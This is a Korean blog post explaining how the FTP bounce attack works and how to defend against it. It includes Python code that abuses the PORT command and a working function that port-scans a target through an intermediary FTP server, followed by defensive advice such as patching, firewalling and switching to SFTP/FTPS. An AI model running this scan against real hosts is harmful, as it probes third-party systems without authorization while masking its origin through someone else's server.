─━ IT ━─

FTP 바운스 공격의 원리와 방어 방법

DKel 2024. 11. 3. 23:37
반응형

FTP 바운스 공격은 오래된 FTP (파일 전송 프로토콜) 서버의 특징을 악용하여 발생하는 보안 취약성입니다. 이 공격은 공격자가 원격 시스템의 FTP 서버를 경유하여 다른 시스템을 대상으로 명령을 실행하거나 예기치 않은 네트워크 연결을 시도하도록 만듭니다. 이를 통해 공격자는 자신의 IP를 숨기고 다른 시스템에 대해 비정상적인 활동을 수행할 수 있습니다.
 
첫 번째 단계는 FTP 서버의 PORT 명령을 악용하는 것입니다. PORT 명령은 클라이언트가 FTP 서버에 데이터 전송을 위해 열어야 할 포트 번호를 알려줍니다. 공격자는 이 명령을 조작하여 타겟 시스템으로의 연결을 설정할 수 있도록 합니다.
 
예시 코드 (FTP PORT 명령 조작):
```python
from ftplib import FTP
 
ftp = FTP('ftp.example.com')
ftp.login('anonymous', 'anonymous@example.com')
ftp.sendcmd('PORT 192,168,1,100,7,138') # 타겟 시스템의 IP와 포트를 지정
ftp.retrlines('LIST') # 데이터 전송을 시도
ftp.quit()
```
 
이 예시에서 공격자는 192.168.1.100 IP의 포트 1930에 연결되도록 PORT 명령을 설정합니다. 이는 공격자가 이 IP로 트래픽을 전송하게 만듭니다.
 
두 번째 단계는 인터미디어트 서버로 악용된 FTP 서버를 통해 다른 시스템으로 연결을 시도하는 것입니다. 공격자는 이 방법을 사용해 포트 스캐닝이나 다른 네트워크 공격을 시도할 수 있습니다.
 
예시 코드 (FTP 바운스를 통한 포트 스캐닝):
```python
def ftp_bounce_scan(ftp_server, target_ip):
    from ftplib import FTP
    open_ports = []
    possible_ports = range(1, 1025)
 
    ftp = FTP(ftp_server)
    ftp.login('anonymous', 'anonymous@example.com')
 
    for port in possible_ports:
        port_high = port // 256
        port_low = port % 256
        try:
            command = 'PORT {},{},{}'.format(target_ip.replace('.', ','), port_high, port_low)
            ftp.sendcmd(command)
            ftp.retrlines('LIST') # 데이터 전송을 시도
            open_ports.append(port)
        except Exception:
            continue
 
    ftp.quit()
    return open_ports
 
# 사용 예시
open_ports = ftp_bounce_scan('ftp.intermediary.com', '192.168.1.100')
print('Open ports:', open_ports)
```
 
이 코드 예제에서는 'ftp.intermediary.com' FTP 서버를 중계하여 '192.168.1.100' 목표의 열린 포트를 스캔합니다.
 
이러한 공격에 대한 방어 방법은 다음과 같습니다:
1. FTP 서버의 업데이트: 최신 버전의 FTP 서버는 이러한 공격에 대한 방어가 강화되어 있습니다. 따라서 서버를 최신 상태로 유지하는 것이 중요합니다.
2. 방화벽 설정 강화: 방화벽 설정을 통해 외부의 불필요한 FTP 연결을 차단하고, 특정 IP 범위에 대해서만 FTP 접속을 허용합니다.
3. Secure FTP (SFTP) 사용: FTP 대신 SFTP나 FTPS와 같은 보안 프로토콜로 전환하여 데이터 전송의 보안성을 높입니다. 
 
FTP 바운스 공격은 오래된 시스템의 취약점을 겨냥하지만, 적절한 보안 패치와 방화벽 설정을 통해 쉽게 예방할 수 있습니다.

반응형